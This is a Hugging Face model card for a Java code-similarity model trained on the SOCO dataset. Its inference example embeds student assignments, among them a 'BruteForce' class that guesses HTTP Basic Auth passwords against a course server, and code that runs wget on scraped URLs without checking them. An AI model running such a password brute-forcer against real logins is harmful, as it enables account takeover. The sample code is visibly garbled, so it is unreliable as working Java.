- **Repository:** [Sentence Transformers on GitHub](https://github.com/UKPLab/sentence-transformers)
- **Hugging Face:** [Sentence Transformers on Hugging Face](https://huggingface.co/models?library=sentence-transformers)

### Full Model Architecture

```
SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False}) with Transformer model: RobertaModel 
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)
```

## Usage

### Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

```bash
pip install -U sentence-transformers
```

Then you can load this model and run inference.
```python
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-UnixCoder-Softmax-PairClass-VAST-1")
# Run inference
sentences = [
    'import java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\nimport java.security.*;\n\n\n\npublic class WatchDog extends Thread\n{\n\n\t\n\tpublic static void main (String args[])\n\t{\n\t    WatchDog watcher = new WatchDog();\n\t    watcher.run();\n\t}\n\n\t\n    public void run()\n    {\n   \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n          twentyFourHours = 24 * 60 * 60 * 1000;\n        \n\n   \t\twriteProgramLog("Program started at " + longTimestamp.format(new Date()));\n        while(true)\n        {\n    \t\twriteProgramLog("Running run at " + longTimestamp.format(new Date()));\n            compare();\n            try\n            {\n                sleep(twentyFourHours);\n            }\n            catch(InterruptedException e)\n            {\n                writeProgramLog("Program terminated at " + longTimestamp.format(new Date()));\n                System.exit(0);\n            }\n        }\n    } \n\n\t\n    private void compare()\n    {\n        \n        \n        \n        String watchDogFile = "watchDogHash_rcroft.";\n        String watchDogPageFile = "watchDogPage_rcroft.html";\n    \n        File watchDogLogFile = new File(watchDogFile);\n        \n        if(!watchDogLogFile.exists())\n        {\n            \n            \n            \n            \n            \n            WebPage targetPage = getPage();\n            if(targetPage.getSuccess())\n            {\n                byte[] newHash = calcHash(targetPage.getPageContents());\n                writeHash(newHash, watchDogFile);\n                writePage(targetPage.getPageContents(), watchDogPageFile);\n            }\n        }\n        else\n        {\n            try\n            {\n                \n                \n                \n                \n                \n                \n                WebPage targetPage = getPage();\n                if(targetPage.getSuccess())\n                {\n                    \n                    byte[] oldHash = new byte[16]; \n                    byte[] newHash = calcHash(targetPage.getPageContents());\n\n                    \n                    DataInputStream inWatchDogFile = new DataInputStream(new FileInputStream(watchDogFile));\n                    inWatchDogFile.readFully(oldHash);\n                    inWatchDogFile.print();\n                    \n                    \n                    \n                    \n                    if(!java.util.Arrays.equals(oldHash, newHash))\n                    {\n                        String differences = enumerateDifferences(watchDogPageFile, targetPage.getPageContents());\n                        mail(differences);\n                        writeHash(newHash, watchDogFile);\n                        writePage(targetPage.getPageContents(), watchDogPageFile);\n                    }\n                }\n            }\n            catch(IOException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }\n        }\n    } \n    \n\n\t\n\tprivate String enumerateDifferences(String oldPageFileName, String newPageData)\n\t{\n\t    String differences = "";\n\t    File newFile = null;\n\n\t    try\n\t    {\n\t      \n\t      \n\t      newFile = File.createTempFile("new", "tmp");\n          String tempFilePath = newFile.getAbsolutePath();\n          DataOutputStream outFile = new DataOutputStream(new FileOutputStream(tempFilePath));\n          outFile.writeBytes(newPageData);\n          outFile.print();\n          \n          \n          String commandLine = "diff " + oldPageFileName + " " + tempFilePath;\n          Process p = Runtime.getRuntime().exec(commandLine);\n          BufferedReader diffs = new BufferedReader(new InputStreamReader(p.getInputStream()));\n          String line;\n          while((line = diffs.readLine()) != null)\n            differences += line + "\\n";\n          diffs.print();\n          newFile.delete();\n\t    }\n\t    catch(IOException e)\n\t    {\n\t        writeProgramLog("Exception: " + e);\n\t    }\n\t    return differences;\n\t}  \n\n\t\n    private void mail(String mailMessage)\n    {\n        \n        Vector emailAddresses = new Vector();\n        String watchDogEmailFile = "watchDogEmail_rcroft.txt";\n\n        \n        File emailFile = new File(watchDogEmailFile);\n        if(emailFile.exists())\n        {\n            try\n            {\n                \n                BufferedReader inWatchDogEmailFile = new BufferedReader(new InputStreamReader(new FileInputStream(watchDogEmailFile)));\n                String line;\n                while ((line = inWatchDogEmailFile.readLine()) != null)\n                {\n                    line = line.trim();\n                    if((line != "") && (line != "\\n"))\n                        emailAddresses.add(line);\n                }\n                inWatchDogEmailFile.print();\n    \t    }\n    \t    catch(FileNotFoundException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n    \t    catch(IOException e)\n    \t    {\n    \t        writeProgramLog("Exception: " + e);\n    \t    }\n        }\n        else\n        {\n            emailAddresses.add("@yallara.cs.rmit.edu.");\n            emailAddresses.add("[email protected].");\n        }\n                \n        if(emailAddresses.size() > 0) \n        {\n            try\n            {\n                String fromAddress = "From: " + "WatchDog Program ()" + " <" + System.getProperty("user.name") + "@" + InetAddress.getLocalHost().getHostName() + ">";\n        \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n                String subject = "Subject: [SEC project] Notification of target file changes (" + longTimestamp.format(new Date()) +")";\n                for(int i = 0; i < emailAddresses.size(); i++)\n                {\n                    String toAddress = (String) emailAddresses.get(i);\n                    try\n                    {\n                        URL mailURL = new URL("mailto: " + toAddress);\n                        URLConnection mailConnection = mailURL.openConnection();\n                        mailConnection.setDoInput(false);\n                        mailConnection.setDoOutput(true);\n                        mailConnection.connect();\n                        PrintWriter mailWriter = new PrintWriter(new OutputStreamWriter(mailConnection.getOutputStream()));\n                        mailWriter.print(": " + toAddress + "\\n");\n                        mailWriter.print(fromAddress + "\\n");\n                        mailWriter.print(subject + "\\n");\n                        mailWriter.print(mailMessage);\n                        mailWriter.print();\n                        writeProgramLog("\\tNotification mailed in this run.");\n                    }\n                    catch(MalformedURLException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                    catch(IOException e)\n                    {\n                        writeProgramLog("Exception: " + e);\n                    }\n                }\n            }\n            catch(UnknownHostException e)\n            {\n                writeProgramLog("Exception: " + e);\n            }  \n        }  \n    } \n    \n\n\t\n    private void writeHash(byte [] newHash, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.write(newHash, 0, newHash.length);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\t\n    private void writePage(String newPage, String fileName)\n    {\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName));\n            outFile.writeBytes(newPage);\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n    }  \n    \n\n\t\n    private void writeProgramLog(String comment)\n    {\n        String fileName = "watchDogLog_rcroft.txt";\n        try\n        {\n            DataOutputStream outFile = new DataOutputStream(new FileOutputStream(fileName, true));\n            outFile.writeBytes(comment + "\\n");\n            outFile.flush();\n            outFile.print();\n        }\n        catch(IOException e)\n        {\n            \n            \n            System.out.println("Exception: " + e);\n        }\n    }  \n\n\t\n    private WebPage getPage()\n    {\n        WebPage tempWebPage = new WebPage();\n        try\n        {\n            \n            \n            \n            String urlName = "http://www.cs.rmit.edu./students/";\n   \t    \tURL targetURL= new URL(urlName);\n           \tHttpURLConnection connection = (HttpURLConnection) targetURL.openConnection();\n        \n            \n            connection.connect();\n            connection.getResponseCode();\n            if(connection.getResponseCode() == 200)\n\t\t    {\n\t\t        String fileContents = "";\n\t\t        BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));\n                String line;\n    \t\t    while((line = in.readLine()) != null)\n\t\t    \t    fileContents = fileContents + line + "\\n";\n\t\t        in.print();\n\t\t        tempWebPage.setPageContents(fileContents);\n    \t\t    tempWebPage.setSuccess(true);\n    \t\t    connection.disconnect();\n\t        }\n\t        else\n\t\t    {\n    \t\t    writeProgramLog("Failed  connect " + connection.getResponseCode());\n\t\t    } \n        }\n        catch(IOException e)\n        {\n    \t    writeProgramLog("Exception " + e);\n        } \n        return tempWebPage;\n    } \n    \n\t\n    private  byte[] calcHash(String pageContents)\n    {\n        byte[] outHash = null;\n        try\n        {\n            MessageDigest msg = MessageDigest.getInstance("");\n            msg.reset();\n            msg.update(pageContents.getBytes());\n            outHash = msg.digest();\n            msg.reset();\n        }\n        catch(NoSuchAlgorithmException e)\n        {\n            writeProgramLog("Exception: " + e);\n        }\n        return outHash;\n    } \n        \n} \n',
    '\n\n\n\n \nimport java.io.*;\nimport java.net.*;\nimport java.Runtime;\nimport java.util.*;\nimport java.net.smtp.SmtpClient; \n\n\n\npublic class WatchDog\n\n{\n\n   static String strImageOutputFile01      = "WebPageImages01.txt";\n   static String strImageOutputFile02      = "WebPageImages02.txt";\n\n   static String strWebPageOutputFile01    = "WebPageOutput01.txt";\n   static String strWebPageOutputFile02    = "WebPageOutput02.txt";\n\n   static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt";\n\n   static String strFromEmailDefault = "@.rmit.edu.";\n   static String strToEmailDefault   = "@.rmit.edu.";\n\n   static String strFromEmail = null;\n   static String strToEmail   = null;\n\n\n\n\n   public static void main (String args[])\n   \n   {\n\n         \n         \n         \n         \n         \n\n      URL url = null;\n      HttpURLConnection urlConnection;\n      int intContentLength;\n      String strWebPageText = "";\n\n      String strURL     = "http://www.cs.rmit.edu./students/";\n      String strPrePend = "http://www.cs.rmit.edu.";\n\n      boolean boolURLisOK = true;\n\n\n\n\n\n      System.out.println();\n\n\n         \n         \n      tidyUpWatchDogFiles();\n\n\n         \n         \n         \n         \n      promptForEmailAddresses();\n\n\n\n\n      try\n      {\n            \n            \n         url = new URL(strURL);       \n      }\n\n      catch(MalformedURLException e)\n      {\n         System.out.println("ERROR:  invalid URL " + strURL);   \n         System.err.println(e);  \n \n         boolURLisOK = false;\n         url = null;\n      }    \n\n      catch(Exception e)\n      {\n         System.out.println("Exception");   \n         System.err.println(e);  \n      }\n\n\n      System.err.println();  \n\n\n      if (boolURLisOK)\n      {\n         try\n         { \n\n               \n               \n            urlConnection = (HttpURLConnection)url.openConnection();\n\n\n               \n               \n            InputStream urlStream = urlConnection.getInputStream();\n\n\n               \n               \n            int intNumRead = urlStream.print();\n            String strNewContent; \n\n            while (intNumRead != -1)\n            {\n               intNumRead = urlStream.print();\n               if (intNumRead != -1)\n               {\n                  strNewContent = (char)intNumRead + ""; \n                  strWebPageText += strNewContent;\n               }\n            }\n\n            urlStream.print(); \n\n\n\n               \n               \n            if (strWebPageText != null)\n            {\n\n               if (fileExists(strWebPageOutputFile01))\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile02);               \n               }\n\n               else\n               {\n                  writeTextToFile(strWebPageText, strWebPageOutputFile01);               \n               }\n\n\n               if (fileExists(strWebPageOutputFile02))\n               { \n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile02    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A text comparison  NOW  performed " +\n                                      "with the output");\n                  System.out.println("file \'" + strWebPageOutputFile01 + "\'.");\n                  System.out.println();\n\n\n\n                     \n                     \n\n                     \n                     \n                  createDiffFileIfNeeded(strWebPageOutputFile01, \n                                         strWebPageOutputFile02);                  \n\n\n                     \n                     \n                  if (fileExists(strWatchDogDiffFile_01_02))\n                  { \n\n                     System.out.println("Mail  (ordinary text comparison)");\n                     System.out.println("--------------------------------");\n\n                     if (getFileSize(strWatchDogDiffFile_01_02) > 0)\n                     {\n                        sendMailWithDetectedChanges();\n                        System.out.println("Text diff mail has been sent  the \'\' email address.");\n                     }\n                     else\n                     {\n                        System.out.println("The DIFF file has zero length - text diff mail has NOT been sent.");\n                     }\n\n                  }\n\n\n\n                     \n                     \n                  createImageTextFile(strWebPageOutputFile01, strPrePend);\n                  createImageTextFile(strWebPageOutputFile02, strPrePend);\n\n                  System.out.println();\n                  System.out.println("Image text file/s");\n                  System.out.println("-----------------");\n\n\n                  if (fileExists(strImageOutputFile01))\n                  {\n                     System.out.println("\'" + strImageOutputFile01 + "\' has been created.");\n                     System.out.println("Images from \'" + strImageOutputFile01 + "\'  now  downloaded using");  \n                     System.out.println("the Unix \'wget\' command:");  \n\n                     downloadImages(strImageOutputFile01);\n                  }\n\n                  if (fileExists(strImageOutputFile02))\n                  {\n                     System.out.println();\n                     System.out.println("\'" + strImageOutputFile02 + "\' has been created.");\n                  }\n\n                  System.out.println();\n\n               }\n\n               else if (fileExists(strWebPageOutputFile01))\n               {\n                  System.out.println("Output file");\n                  System.out.println("-----------");\n                  System.out.println("The output file \'"   + \n                                     strWebPageOutputFile01    + \n                                     "\' has NOW BEEN created.");                                    \n                  System.out.println();\n                  System.out.println("Comparison");\n                  System.out.println("----------");\n                  System.out.println("A comparison CANNOT  performed " +\n                                      "with this output file");\n                  System.out.println("because it is the only output file " +\n                                     "in existence.");\n                  System.out.println();\n               }\n\n            }\n\n         }\n\n         catch(Exception e)\n         {\n\n            boolURLisOK = false;\n\n            System.err.println(e);\n         }   \n\n         finally\n         { \n            urlConnection = null;\n            url = null; \n         }\n\n      }\n\n\n      System.out.println();\n\n   }\n\n\n\n\n\n\n\n   static void tidyUpWatchDogFiles()\n   \n   {\n\n         \n         \n\n\n         \n         \n      deleteFile(strWatchDogDiffFile_01_02);\n\n\n         \n         \n      deleteFile(strImageOutputFile01);\n      deleteFile(strImageOutputFile02);\n\n\n      if (fileExists(strWebPageOutputFile01))\n      {\n\n         if (fileExists(strWebPageOutputFile02))\n         {\n               \n               \n               \n               \n               \n            deleteFile(strWebPageOutputFile01);\n            renameFile(strWebPageOutputFile02, strWebPageOutputFile01);\n         }\n\n      }\n\n      else\n      {\n            \n            \n            \n         deleteFile(strWebPageOutputFile02);\n      }\n\n   }\n\n\n\n\n\n\n\n   static void promptForEmailAddresses()\n   \n   {      \n\n\n      BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in));\n\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'From\' email address");\n      System.out.println("--------------------");\n      System.out.println("Please enter a \'From\' email address,  press Enter for default");\n      System.out.print("(default: " + strFromEmailDefault + "):  ");\n\n      try\n      {\n         strFromEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strFromEmail == null) || (strFromEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'From\' email address  default :  " + strFromEmailDefault);         \n         strFromEmail = strFromEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'From\' email address is:  " + strFromEmail);         \n      }\n\n\n\n         \n         \n      System.out.println();\n      System.out.println("\'\' email address");\n      System.out.println("------------------");\n      System.out.println("Please enter a \'\' email address,  press Enter for default");\n      System.out.print("(default: " + strToEmailDefault + "):  ");\n\n      try\n      {\n         strToEmail = stdin.readLine();\n      }\n      catch (Exception e)\n      {\n         System.err.println(e);\n      }\n \n\n      System.out.println();\n\n      if ( (strToEmail == null) || (strToEmail.length() == 0) )\n      {\n         System.out.println(" email address was entered.");         \n         System.out.println("The \'\' email address  default :  " + strToEmailDefault);         \n         strToEmail = strToEmailDefault;\n      }\n\n      else\n      {\n         System.out.println("The entered \'\' email address is:  " + strToEmail);         \n      }\n\n   }\n\n\n\n\n\n\n\n   static void writeTextToFile(String strText,\n                               String strWriteToThisFileName)\n   \n   {\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         toFile.write(strText);\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static void createDiffFileIfNeeded(String strFileName1, \n                                      String strFileName2)\n   \n   {\n\n\n\n\n\n\n\n\n\n\n\n\n\n         \n         \n\n         \n         \n      try\n      {\n\n         Process p = Runtime.getRuntime().exec("./diff_files.sh");\n         p.waitFor();\t\n\n      }\n\n      catch (Exception e)\n      {\n         System.out.println("Shell script exception");\n         System.out.println("----------------------");\n         System.err.println(e);\n         System.out.println("");\n      }\n\n   }\n\n\n\n\n\n\n\n   static void createImageTextFile(String inputFile, String prePend)\n   \n   {\n\n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n         \n\n      String str;\n      String strImage = "";\n      String strImageArray[];\n      String strInputFromFile = "";\n      String strSearchString = "<img src";\n\n      boolean boolContinue = true;\n\n      int intImageCounter  = 0;\n      int intStartSearch   = 0;\n\n      char ch;\n\n\n\n\n\n      strImageArray = new String[1000];\n\n\n\n         \n         \n      try\n      {\n\n         BufferedReader file =\n              new BufferedReader(new FileReader(inputFile));\n\n\n         while ( (str = file.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         file.print();\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         boolContinue = false;\n         System.err.println(e);       \n      }\t\n\n\n\n      if (boolContinue)\n      {\n\n         strInputFromFile = (strInputFromFile.toLowerCase()).trim();\n\n         intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n\n         while (intStartSearch != -1)\n         {\n\n            intStartSearch += 8;\n\n            while ( (strInputFromFile.charAt(intStartSearch) == \' \')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'=\')  ||\n                    (strInputFromFile.charAt(intStartSearch) == \'\\"\')   )\n            {\n               intStartSearch++;          \n            }\n\n            while ((strInputFromFile.charAt(intStartSearch) != \'\\"\'))              \n            {\n\n               ch = strInputFromFile.charAt(intStartSearch);\n\n               strImage += String.valueOf(ch);\n               intStartSearch++;\n\n            }\n\n\n            if (strImage.startsWith("/"))\n               strImage = prePend + strImage;          \n\n\n            intImageCounter++;\n            strImageArray[intImageCounter - 1] = strImage;\n\n            strImage = "";\n\n            intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch);\n\n         }\n\n\n         if (inputFile.equals(strWebPageOutputFile01))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile01,\n                                 intImageCounter);\n         }\n         else if (inputFile.equals(strWebPageOutputFile02))     \n         { \n            writeTextArrayToFile(strImageArray, \n                                 strImageOutputFile02,\n                                 intImageCounter);\n         }\n\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void downloadImages(String ImageOutputFile)\n   \n   {\n\n      Process p;\n\n      String str;\n      String strFileName;\n\n\n\n      try      \n      {\n\n         BufferedReader file =\n                 new BufferedReader(new FileReader(ImageOutputFile));\n\n\n\n         while ( (str = file.readLine()) != null)\n         {\n\n            strFileName = getImageFileName(str);\n\n            System.out.println("    " + str);\n            System.out.println("             file name:  " + strFileName);                                                           \n\n\n            if (fileExists(strFileName))\n               deleteFile(strFileName);\n\n\n            p = Runtime.getRuntime().exec("wget " + str);\n            p.waitFor();\t\n\n         }\n\n\n         file = null;\n\n      }\n\n      catch (Exception e)\n      {\n         System.err.println("downloadingImages:  " + e);\n      }\n\n   }\n\n\n\n\n\n\n\n   static String getImageFileName(String imageFileName)\n   \n   {\n\n         \n         \n         \n\n      String strFileName;\n\n      int intFileNameLength     = imageFileName.length();      \n      int intStartPosOfFileName = intFileNameLength - 1;\n\n\n\n\n         \n         \n      while ( (intStartPosOfFileName >= 0) && \n              (imageFileName.charAt(intStartPosOfFileName) != \'/\') )\n      {\n         intStartPosOfFileName--; \n      }\n\n\n      strFileName = imageFileName.substring(intStartPosOfFileName + 1, \n                                            intFileNameLength);\n\n\n      return strFileName;\n\n   }\n\n\n\n\n\n\n\n   static void writeTextArrayToFile(String strTextArray[],\n                                    String strWriteToThisFileName,\n                                    int numberOfImages )\n   \n   {\n\n      boolean boolFirstLineWritten = false;\n\n\n\n      try\n      {\n\n         File newFile = new File(strWriteToThisFileName);\n\n         if (newFile.exists())\n         {\n            newFile.delete();\n         }\n\n\n         BufferedWriter toFile =\n              new BufferedWriter(new FileWriter(newFile,\n                                                false));\n\n         for ( int i = 0 ; i < numberOfImages ; i++ )\n         {\n\n            if (boolFirstLineWritten) \n               toFile.newLine();\n            else\n               boolFirstLineWritten = true;\n  \n\n            toFile.write(strTextArray[i]);\n\n         }\n\n\n         toFile.print();\n         toFile = null;\n         newFile = null;\n\n      }\n\n      catch(Exception e)\n      {\n         System.err.println(e.toString());\n         System.out.println("File write problem for \'" + \n                            strWriteToThisFileName     +\n                            "\'.");               \n      }\n\n   }\n\n\n\n\n\n\n\n   static boolean fileExists(String strFileName)\n   \n   {\n\n      boolean boolReturnValue;\n      File aFile = new File(strFileName);\n\n\n      if (aFile.exists())\n         boolReturnValue = true;\n      else\n         boolReturnValue = false;\n      \n\n      aFile = null;\n\n\n      return boolReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void deleteFile(String strFileName)\n   \n   {\n\n\n      if (fileExists(strFileName))\n      { \n         File aFile = new File(strFileName);\n\n         try\n         {\n            aFile.delete();\n         }\n\n         catch (Exception e)\n         {\n            System.err.println(e);\n         }\n\n\n         aFile = null;\n\n      }\n\n   }\n\n\n\n\n\n\n\n   static void renameFile(String strFromFileName, String strToFileName)\n   \n   {\n\n\n      File from = new File(strFromFileName);\n      File to   = new File(strToFileName);\n\n\n      boolean success = from.renameTo();\n\n\n      from = null;\n      to = null;\n\n   }\n\n\n\n\n\n\n\n   static  getFileSize(String strFileName)\n   \n   {\n\n       lngReturnValue;\n\n\n\n      File file = new File(strFileName);\n      \n      lngReturnValue = file.length();\n\n      file = null;\n\n\n      return lngReturnValue;\n\n   }\n\n\n\n\n\n\n\n   static void sendMailWithDetectedChanges()\n   \n   {\n\n      String str;\n      String strInputFromFile = null;\n\n\n\n      try \n      { \n\n\n         BufferedReader fromFile =\n              new BufferedReader(new FileReader(strWatchDogDiffFile_01_02));\n\n\n         while ( (str = fromFile.readLine()) != null)\n         {\n            strInputFromFile += str;\n         }\n\n         fromFile.print();\n         fromFile = null;\n\n\n            \n            \n            \n         SmtpClient smtp = new SmtpClient(); \n\n            \n            \n         smtp.from(strFromEmail); \n\n            \n            \n         smtp.to(strToEmail); \n\n            \n            \n         PrintStream msg = smtp.startMessage(); \n\n            \n            \n         msg.println(": " + strToEmail); \n\n            \n            \n         msg.println("From: " + strFromEmail); \n         msg.println("Subject: Change in website content\\n"); \n         msg.println(strInputFromFile); \n\n            \n            \n            \n         smtp.closeServer(); \n\n      } \n\n      catch (IOException e) \n      {\n         System.err.println(e);     \n      } \n\n   }\n\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass BruteForce {\n\n    String password="";\n\n    int num =401;\n\n\n    public static void main (String[] args) {\n\n      String str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";\n\n      BruteForce URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      \n      if (args.length == 0) {\n      \t\n      \tSystem.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      \treturn;\n      \t\n      \t}\n      String username = args[0];\n      \n\n      t0=System.currentTimeMillis();\n\n      System.out.println ("  " + new Date());\n      \n      System.out.println ("Using BruteForce method  attack "+username+"\'s password.Please waiting.......");\n\n       for (int i=0;i<str.length();i++){\n\n             passwd=str.substring(i,i+1);\n\n             URLcon = new BruteForce (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n\n\n             \tSystem.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n\n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n             for (int j=0;j<str.length();j++){\n\n                passwd =str.substring(i,i+1)+str.substring(j,j+1);\n\n                URLcon = new BruteForce (passwd,username);\n\n                if ((URLcon.num)!=401) {\n\n             \t     t1=System.currentTimeMillis();\n\n                     System.out.println("The password: "+ passwd);\n\n\n                     double dt =t1-t0;\n\n\n\n                     System.out.println("It took "+ DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                     System.out.println ("Finish  " + new Date());\n             \t return;\n\n                 }\n                for (int m=0;m<str.length();m++){\n\n                  passwd = str.substring(i,i+1)+str.substring(j,j+1)+str.substring(m,m+1);\n\n                  URLcon = new BruteForce (passwd,username);\n\n                  if ((URLcon.num)!=401) {\n\n                 \tt1=System.currentTimeMillis();\n\n                    System.out.println("The password: "+ passwd);\n\n\n             \t    double dt =t1-t0;\n\n\n\n                 \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds.");\n                    \n                    System.out.println ("Finish  " + new Date());\n                    \n             \t    return;\n\n                  }\n\n\n             }\n\n}\n}\n        System.out.println(" not find the password");\n\n}\n\n   public  BruteForce  (String password, String username){\n\n  \t  String urlString = "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n\n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n        url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
```

<!--
### Direct Usage (Transformers)

<details><summary>Click to see the direct usage in Transformers</summary>

</details>
-->

<!--
### Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

</details>
-->

<!--
### Out-of-Scope Use

*List how the model may foreseeably be misused and address what users ought not to do with the model.*
-->

<!--
## Bias, Risks and Limitations

*What are the known or foreseeable issues stemming from this model? You could also flag here known failure cases or weaknesses of the model.*
-->

<!--
### Recommendations

*What are recommendations with respect to the foreseeable issues? For example, filtering explicit content.*
-->

## Training Details

### Training Dataset

#### soco_train_java

* Dataset: [soco_train_java](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java) at [44ca4ff](https://huggingface.co/datasets/buelfhood/SOCO_TRAIN_java/tree/44ca4ff546c090153d7903c15aeda036891ec476)
* Size: 30,069 training samples
* Columns: <code>label</code>, <code>text_1</code>, and <code>text_2</code>
* Approximate statistics based on the first 1000 samples:
  |         | label                                          | text_1                                                                               | text_2                                                                               |
  |:--------|:-----------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|
  | type    | int                                            | string                                                                               | string                                                                               |
  | details | <ul><li>0: ~99.70%</li><li>1: ~0.30%</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 451.36 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 469.18 tokens</li><li>max: 512 tokens</li></ul> |
* Samples:
  | label          | text_1                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         | text_2                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
  |:---------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
